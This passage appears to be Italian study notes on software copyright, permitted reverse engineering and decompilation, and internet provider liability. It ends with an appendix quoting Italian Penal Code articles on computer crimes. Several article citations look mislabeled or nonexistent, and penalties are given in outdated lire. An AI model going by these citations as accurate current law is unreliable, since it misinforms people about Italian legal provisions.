· All’autore dell’opera –programma- sono riservati i diritti di sfruttamento economico, e quindi di riproduzione, traduzione, ed ogni adattamento o modificazione così come la distribuzione al pubblico (salvo l’esaurimento comunitario ), anzi anche le operazioni quali il caricamento la visualizzazione, la memorizzazione del programma richiedendo difatto una riproduzione, sono soggette all’autorizzazione del titolare.

Ma ci sono delle eccezioni:cioè la riproduzione e la trasformazione nel programma quando sia funzionale al legittimo utilizzo del programma da parte dell’acquirente o del licenziatario, non sono soggetti  all’autorizzazione del titolare.

Le copie di BackUp sono altresì autorizzate, così come chi è autorizzato ad utilizzare il programma può svolgere attività di revers engeneering sul medesimo: cioè osservare, studiare, sottoporre a prova il programma, per determinare idee e principi su cui si basa.

Si tratta del funzionamento esterno (c.d. black box analysis) mentre la decompilazione, a questi fini, non è ammessa.

È ammessa invece allo scopo di conseguire l’interpretabilità tra programmi diversi: si può ciè studiare il codice sorgente e trasformarlo allo scopo di far interagire il programma con un altro ).

Tale operazione può essere effettuata solo dal licenziatario, da un incaricato per suo conto; solo ai fini di conseguire l’interpretabilità; solo su quelle parti di software necessari a questo scopo e solo per ottenere informazioni che non siano altrimenti rapidamente e facilmente accessibili.

· L’immissione di opere protette dal diritto d’autore su internet è fonte di una rilevante serie di problemi:

-la immaterializzazione dell’opera mediante tecnologie digitali.

-la trasmissibilità globale è pressoché immediata;

-la facilità di rielaborazione;

-la diffusione della pirateria;

· la transnazionalità del web è una prima difficoltà. La convergenza delle tecnologie verso il sistema digitale è controbilanciata dalla diversità della disciplina nei diversi paesi di tecnologia e diritto d’autore. I problemi che sorgono sono di competenza del diritto internazionale privato: si tratta di stabilire se le regole fino ad oggi usate per regolare rapporti contenenti elementi di internazionalità possono essere applicati anche ad Internet. È certo che il sistema di ritenere i Provider responsabili di ciò che viene a circolare per loro tramite è punitivo, in quanto essi non sono in grado di controllare fisicamente il materiale immesso in rete; con essi posso però essere sviluppati degli accordi per creare sistemi di controllo e di identificazione degli operatori. 
· Occorre osservare che gli utilizzi delle opere mediante internet rientrano tra i diritti riservati all’autore dell’opera. Operazioni quali il caricamento, la trasmissione, la visualizzazione, lo scaricamento sono tutte facoltà che si posso fare rientrare nel diritto alla riproduzione e alla diffusione spettanti all’autore, facoltà esclusive e tra loro indipendenti: insomma, il contratto di edizione non comprende anche il caricamento su internet. Ma i problemi si pongono anche quando l’opera è inserita in rete da un soggetto che abbia acquistato i diritti di trasmissione via internet: ai sensi delle leggi vigenti l’utilizzatore finale non ha alcuna facoltà ne copie permanenti, ne caricamento presso il provider, vincolato al pagamento dei relativi diritti, altrimenti si potrebbe presumere che l’autore, cedendo al provider il diritto di inserirlo ha dato contestualmente anche il consenso quantomeno alla visualizzazione, ed il caricamento su memoria RAM da parte di privati, se non proprio la riproduzione in copie permanenti della propria creazione.

· Ruolo del Provider. 
Premesso che occorre distinguere tra access provider (mero fornitore di connettività) e Service Provider (offre ulteriori servizi oltre la connessione), in entrambi i casi si è tuttavia in presenza di intermediari atipici. Il fatto che il provider però non realizzi mai direttamente le operazioni commerciala, a si limiti a fornire l’utilizzo del suo sito influisce fortemente sulla qualità dei suoi obblighi: egli dovrà nei limiti di quanto di competenza garantire la correttezza dell’operazione svolta per suo tramite, ai sensi del generale principio contenuto negli articoli 1337 o 1338 codice civile ed alla stregua della diligenza richiesta dall’articolo 1176 codice civile. Quanto a quest’ultima per quanto si tratti di una diligenza di carattere professionale (art. 1176 bis codice civile) non sembrano potersi vedere atti specifici di controllo, non tanto perché il provider sia un professionista particolare, ma perché gli riuscirebbe oltremodo difficoltoso controllare tutto quanto viene visualizzato attraverso il proprio sito; questa attività cioè non rientra nella sua professionalità la garanzia del buon esito dell’affare, ma solo quello del buon funzionamento e della corretta gestione del servizio su rete. 

· In sintesi il provider risponde esclusivamente delle obbligazioni relativa al servizio di connetività telematica ed agli eventuali altri affari; non insi per le obbligazioni relative ai rapporti giuridici posti in essere da parte dell’utilizzatore del sito.
· Qualora attraverso il sito vengano realizzati degli illeciti da parte degli utenti il provider ne risponde a modo dell’ articolo 2043 codice civile c.c. risarcimento per fatto illecito: qualunque fatto doloso o colposo che cagiona ad altri un danno ingiusto, obbliga colui che ha commesso il fatto a risarcire il fatto) e non alla stregua del responsabile editoriale di una testata giornalistica o di un editore televisivo, cioè a titolo di una responsabilità oggettiva (indipendentemente da dolo o colpa) come da alcuni è stato prospettato. Se ne deduce che il Provider è responsabile del transito dei virus dal suo sito verso gli utenti ma non alla stregua di chi li ha redatti e/o diffusi, sono anche diverse quindile sanzioni in cui incorre.

Chi produce e diffonde virus ricade nei provvedimenti previsti dal codice penale, mentre chi ne ha reso possibile involontariamente il transito (per incuria) ricade in quelle previste dal codice civile.

Appendice B:    Implicazioni legali.

Nota n° 1.   

La proprietà intellettuale, letteraria, artistica, scientifica, viene regolata dalle norme sul diritto d’autore. Tali norme divise in virtù dell’at. 2577,  in due capoversi “Diritto morale dell’autore”, e “Diritto patrimoniale dell’autore”.

Riguardo all’aspetto morale, il capoverso dell’articolo 2577 dice che l’autore senza limiti di tempo, può rivendicare la paternità dell’opera e può opporsi a qualsiasi deformazione, mutilazione o altra modificazione che possa essere di pregiudizio alla sua fama, ecco che sostituendo il file JDBGMGR.exe si commette un illecito.

Questa nota è stata derivata dal Testo “Istituzioni di diritto civile”  di Alberto Trabucchi, Trentesima Edizione.  

Nota n° 2.

Art. 615 ter (Accesso abusivo ad un sistema informatico o telematico).

1°  Chiunque abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volontà espressa o tacita di chi ha diritto di escluderlo, punito con la reclusione fino a 3 anni.

2°  La pena è della reclusione da 1 fino a 5 anni :

1. se il fatto è commesso da un pubblico ufficiale o da un incaricato di pubblico servizio, con abuso di poteri o con violazione dei doveri inerenti alla funzione o al servizio, o da chi esercita anche abusivamente la professione di investigatore privato, o con abuso della qualità di operatore del sistema;

2. Se il colpevole per commettere il fatto usa violenza sulle cose o alle persone, ovvero se è palesemente armato;

3. Se dal fatto deriva la distruzione o il danneggiamento del sistema o l’interruzione totale o parziale del suo funzionamento, ovvero la distruzione o il danneggiamento dei dati, della informazioni o dei programmi in esso contenuti.

3°  Qualora i fatti di cui i commi 1° e 2° riguardino sistemi informatici o telematici di interesse militare o relativi all’ordine pubblico o alla sicurezza pubblica o alla sanità o alla protezione civile o comunque di interesse  pubblico, la pena è rispettivamente, della reclusione da 1 a 8 anni.

4°  Nel caso previsto dal 1° comma il delitto è punibile a querela della persona offesa; negli altri casi si procede di ufficio. 

Nota n° 3.

Art. 15 Costituzione

1° comma.  La libertà e la segretezza della corrispondenza e di ogni altra forma di comunicazione sono inviolabili (vedi articolo  616-623 bis C.P.).

2° comma. La loro limitazione può avvenire soltanto per atto motivato dall’autorità giuridica, con la garanzia stabilite dalla legge (art. 248-254 e 266-271 C.P.).

nota bene: La libertà e la segretezza della corrispondenza e delle altre forme di comunicazione (Art. 15 cost.) così come la libertà domiciliare (in quanto proiezione spaziale della libertà personale, art. 14 Cost.) costituiscono diritti in linea di principio inviolabili; tuttavia tali diritti entrano inevitabilmente in conflitto con le esigenze dell’accertamento processuale.

Già a suo tempo il costituente (1948), ma poi più in dettaglio anche il legislatore del nuovo codice di procedura penale (1988) si è fatto carico di individuare e disciplinare presupposti, limiti e modalità operative.

Nota n° 4.

Art. 640 ter codice penale   “Frode informatica”.

1° comma Chiunque alterando in qualsiasi modo il funzionamento di un sistema informatico o telematico o intervenendo senza diritto con qualsiasi modalità su dati, informazioni o programmi contenuti in un sistema informatico o telematico o ad esso pertinenti, procura a sé o ad altri un ingiusto profitto con altrui danno, è punito con la reclusione da 6 mesi a 3 anni e con la multa da lire 100.000 a lire 2.000.000.  (valori di valuta italiana da convertire in euro).

2° comma La pena è della reclusione da 1 a 5 anni e della multa da lire 600.000  a lire 3.000.000 se ricorre una delle circostanze previste dall’art. 640, 2° comma [ 1. se il fatto è commesso a danno dello stato o di un altro ente pubblico o col pretesto di far esonerare taluno dal servizio militare ] ovvero se il fatto è commesso con abuso di della qualità di operatore di sistema.

3° comma Il delitto è punibile a querela della PERSONA OFFESA, salvo che ricorra taluna delle circostanze aggravanti.

Questo articolo è stato aggiunto al C.P. dall’art. 10 della legge 23 dicembre 1993 n° 547.

 Nota n° 5.

Frode informatica.

Con l’introduzione della specifica previsione dell’art.640 ter CP si sono dissipati i dubbi circa la possibilità di “indurre in errore” una macchina (il computer) che avevano tormentato gli interpreti nell’imbarazzo di applicare o meno l’art. 640 c.p. ( che prevede l’induzione in errore di una persona fisica). La copertura del teste di frode informatica si dimostra assai ampia in quanto il testo di legge fa riferimento all’alterazione in qualsiasi modo “di un sistema informatico o telematico e di intervento senza diritto”e con qualsiasi modalità al contenuto di questi (dati informazioni o programmi), Ma proprio tale ampiezza ha causato problemi di coordinamento con altre fattispecie, specie con l’accesso abusivoa sistema informatico o telematico (616 ter c.p.).

Fermo restando la possibilità di concorso tra i due reati (640 ter e 615 ter), va sottolineato come la frode in questione non si realizza necessariamente per finalità di profitto (il legislatore ha evitato di inserire i riferimenti tipici dei reati contro il patrimonio). Malgrado ciò la cassazione (sentenza 3067 del 1999 ) ha affermato che la fattispecie in questione tutelerebbe anche il patrimonio.

La conclusione non sembra esatta: come si è fatto notare in dottrina tale orientamento della cassazione  rischierebbe di rilegare il reato ex art. 615 ter c.p. per mero antefatto non punibile rispetto al reato di frode informatica, determinando di fatto un elevato rischio di inapplicabilità del primo reato (ossia il 615 ter).

Stante il comune elemento di alterazione del sistema il concorso peraltro è possibile anche con il reato di danneggiamento informatico.

Soltanto la frode informatica contiene infatti l’ulteriore requisito dell’ingiusto profitto con altrui danno.

Nota n° 6.

Art. 635 bis  “Danneggiamento di sistemi informatici e Telematici”.

1° comma.   Chiunque distrugge, deteriora o rende, in tutto o in parte, inservibili sistemi informatici o telematici altrui, ovvero programmi, informazioni o dati altrui, punito salvo salve che il fatto non costituisca più grave reato, con la reclusione da 6 mesi a 3 anni.

2° comma. Se ricorre una o più delle circostanze di cui al “° comma dell’art. 635 ( danneggiamento) ovvero se il fatto è commesso con abuso della qualità di operatore del sistema, la pena è della reclusione da 1 a 4 anni.

Questo articolo è stato aggiunto dall’art. 9 della legge 23 dicembre 1993 n. 547.

 Nota n° 7.

Art. 392 C.P. Esercizio arbitrario delle proprie ragioni con violenza sulle cose.

1° comma. Chiunque, al fine di esercitare un preteso diritto, potendo ricorrere al giudice, si fa arbitrariamente ragione da sé medesimo, mediante violenza sulle cose è punito a querela della persona offesa con sanzione dipendende dall’ammontare del reato.

2° comma. Agli effetti della legge penale, si ha “violenza sulle cose” allorché la cosa viene danneggiata o trasformata o ne è mutata la destinazione.

3° comma. Si ha altresì violenza sulle cose allorché un programma informatico viene alterato modificato o cancellato in tutto o in parte ovvero viene impedito o turbato il funzionamento di un sistema informatico o telematico.

Nota n° 8.

Art. 420 C.P.  “Attentati a impianti di pubblica utilità”.

 1° comma. Chiunque commette un fatto diretto a danneggiare o distruggere impianti di pubblica utilità, è punito, salvo che il fatto costituisca più grave reato con la reclusione da 1 a 4 anni.

2° comma.  La pena di cui al primo comma si applica anche a chi commette un fatto diretto a danneggiare o distruggere sistemi informatici o telematici di pubblica utilità, ovvero dati, informazioni o programmi in esso contenuti o ad esso pertinenti.

3° comma. Se dal  fatto deriva la distruzione o il danneggiamento dell’impianto o del sistema, dei dati, delle informazioni o dei programmi ovvero l’interruzione anche parziale del funzionamento dell’impianto o del sistema la pena è della reclusione da 3 a 8 anni.  

Nota n° 9.

Art. 491 bis C.P. “Documenti informatici”

1° comma.  Se alcune delle falsità previste dal presente capo riguarda un documento informatico pubblico o privato, si applicano le disposizioni del capo stesso concernenti rispettivamente gli atti pubblici e le scritture private. A tal fine per documento informatico si intende qualunque supporto informatico contenete dati o informazioni aventi efficacia probatoria o programmi destinati a elaborati.

Nota n° 10.

Art. 621 C.P.   Rilevazione del contenuto di documenti segreti.

1° comma. Chiunque essendo venuto abusivamente a cognizione del contenuto, che debba rimanere segreto, di altrui documenti, pubblici o privati, non costituenti corrispondenza, lo rileva senza giusta causa, ovvero lo impiega a proprio o altrui profitto, è punito, se dal fatto deriva nocumento, con la reclusione fino a tre anni o con la multa di da lire 200.000 a lire 2.000.000.

2° comma. Agli effetti della disposizione di cui al 1° comma è considerata documento anche qualunque supporto informatico o programmi.

3° comma. Il delitto è punibile su querela della persona offesa.

Nota n° 11.

Art. 615 quater (Detenzione e diffusione abusiva di codici di accesso a sistemi informatici o telematici).

1°.  Chiunque, al fine di procurare a se o a altri un profitto o di arrecare ad altri un danno, abusivamente si procura, riproduca, diffonde, comunica o consegna codici, parole chiave o altri mezzi idonei all’accesso ad un sistema informatico o telematico, protetto da misure di sicurezza o comunque fornisce indicazioni o istruzioni idonee al predetto scopo è punito con la reclusione fino ad un anno e con la multa fino a 1.000.000 di lire.

2°. La pena è della reclusione da 1 a 2 anni e della multa da lire 10.000.000 a lire 20.000.000 se ricorre taluna delle circostanzedi cui a nn 1) e 2) del 4° comma dell’Art. 617 quater c.p. [ossia se il reato è commesso  1) in danno di un sistema informatico o telematico utilizzato dallo stato o da altro ente pubblico o da impresa esercente servizi pubblici o di pubblica necessità, o 2) da un pubblico ufficiale o da un incaricato di pubblico servizio, con abuso dei poteri o con violazione dei doveri inerenti alla funzione o al servizio, ovvero con abuso della qualità di operatore del sistema.

Art. 615 quinquies (Diffusione di programmi diretta a danneggiare o interrompere un sistema informatico).

1°  Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero l’interruzione parziale o totale, o l’interruzione del suo funzionamento, è punito con la reclusione sino a due anni e con la multa sino a lire 20.000.000.

Nota n° 12.
Art. 616. C.P. ( violazione, sottrazione e soppressione di corrispondenza)

1° comma. Chiunque prende cognizione del contenuto di una corrispondenza chiusa a lui non diretta, ovvero sottrae o distrae, al fine di prenderne cognizione, una corrispondenza chiusa o aperta* (vedi nota) a lui non diretta, ovvero in tutto o in parte lo distrugge o sopprime, è punito, se il fatto non è preveduto come reato da altra disposizione di legge, con la reclusione fino ad un anno o con la multa da lire 60.000 a lire 1.000.000.

2° comma Se il colpevole, senza giusta causa, rileva in tutto o in parte, il contenuto della corrispondenza, è punito, se dal fatto deriva nocumento ed il fatto medesimo non costituisce un più grave reato, con la reclusione fino a tre anni.

3° comma. Se il delitto è punibile a querela della persona offesa.

4° comma.  Agli effetti delle disposizioni di questa sezione, per “corrispondenza” si intende quella epistolare, telegrafica, telefonica, informatica o telematica ovvero effettuata con ogni altra forma di comunicazione a distanza.

*nota Si è discusso parecchio sulla distinzione, non così immediata tra CORRISPONDENZA “APERTA” e CORRISPONDENZA “CHIUSA”. La soluzione più corretta è condivisa dalla quasi totalità  della dottrina, sembra però risiedere nella cifratura della corrispondenza.  Secondo il nuovo Art. 623 c.p. la tutela accordata alla corrispondenza è stat estesa anche “a qualunque mezzo di trasmissione a distanza di suoni, immagini, o altri dati. [nota bene occorre però chiarire che la tutela testè ricordata non sembra potersi applicare ad esempio ai news group che non sono dotati del carattere della segretezza, in quanto rappresentano una sorta di bacheca virtuale.

Nota n° 13.

Art. 617 c.p. (cognizione interruzione o impedimento illeciti di comunicazioni o conversazioni telegrafiche o telefoniche.

1° comma. Chiunque, fraudolentemente prende cognizione di una comunicazione o di una conversazione telefonica o telegrafica, tra altre persone o comunque a lui non dirette, ovvero le interrompe o le impedisce, è punito con la reclusione da 6 mesi a 4 anni.

2° comma. Salvo che il fatto costituisca più grave reato, la stessa pena si applica a chiunque rileva, mediante qualsiasi mezzo di informazione al pubblico, in tutto o in parte, il contenuto delle comunicazioni o delle conversazioni indicate nella prima parte di questo articolo.

3° comma. I delitti sono punibili a querela della persona offesa; tuttavia si procede d’ufficio e la pena è della reclusione da 1 a 5 anni se il fatto è commesso in danno di un pubblico ufficiale o di un incaricato di pubblico servizio, ovvero da un pubblico ufficiale o da un incaricato di pubblico servizio con abuso dei poteri o con violazione dei doveri inerenti alla funzione o servizio, o da chi esercita anche abusivamente la professione di investigatore.

Art. 617. quarter C.P. (Intercettazione, impedimento o interruzione illecita di comunicazioni informaticheo telematiche).

1° comma.  Chiunque , fraudolentemente intercetta comunicazioni relative ad un sistema informatico o telematico o intercorrenti tra piu sistemi, ovvero le impedisce o le interrompe, è punito con la reclusione da 6 mesi a 4 anni.

2° comma. Salvo che il fatto costituisca un più grave reato, la stessa pena si applica a chiunque rileva, mediante qualsiasi mezzo di informazione al pubblico, in tutto o in parte, il contenuo della comunicazione di cui al comma 1°.

3° comma. I delitti di cui al 1° comma e 2° sono punibili a querela della persona offesa.

4° comma. Tuttavia si procede d’ufficio e la pena è della reclusione se il fatto è commesso:

1. in danno di un sistema informatico o telematico utilizzato dallo stato o  da altro ente pubblico o da impresa esercente servizi pubblici o di pubblica necessità

2. da un pubblico ufficiale o da un incaricato di pubblico servizio, con abuso dei poteri o con violazione dei doveri inerenti alla funzione o al servizio, ovvero con abuso della qualità di operatore del sistema;

3. da chi esercita anche abusivamente la professione di investigatore privato.

Art. 617. quinquies C.P. (Installazione di apparecchiature atte ad intercettare, impedire o interrompere comunicazioni informatiche o telematiche).

1° comma. Chiunque fuori dai casi consentiti dalla legge, installa apparecchiature atte ad intercettare, impedire o interrompere comunicazioni ad un sistema informatico o telematico ovvero interconnessioni tra più sistemi, è punito con la reclusione da 1 a 4 anni.

2° comma. La pena è della reclusione da 1 a 5 anninei casi previsti dal 4° comma dell’ art. 615 quater. 

Art. 617. quarter C.P.
1° comma. Chiunque al fine di procurare a sé o a altri un vantaggio o di arrecare ad altri un danno, forma falsamente ovvero altera o sopprime, in tutto o in parte, il contenuto, anche occasionalmente intercettato, di taluna delle comunicazioni relative ad un sistema informatico o telematico o intercorrenti tra più sistemi, è punito, qualora ne faccia uso o lasci che altri ne facciano uso, con la reclusione da 1 a 4 anni.

2° comma. La pena è della reclusione da 1 a 5 anni nei casi previsti dal 4° comma dell’art. 617 quarter.

Nota n° 14.
Art. 623. bis C.P. (Altre comunicazioni e conversazioni).

Le disposizioni contenute nella presente sezione relative alle comunicazioni e conversazioni telegrafiche, telefoniche, informatiche o telematiche, si applicano a qualunque altro mezzo di trasmissione a distanza di suoni, immagini o altri dati.

Nota n° 15.
Legge 248  18 Agosto 2000. “Nuove norme sul diritto d’autore”

Le “Nuove norme sul diritto d’autore” contenenti norme antipirateria introducono un bollettino SIAE per programmi per elaboratore oltre ad inasprire le pene contro i pirati. 
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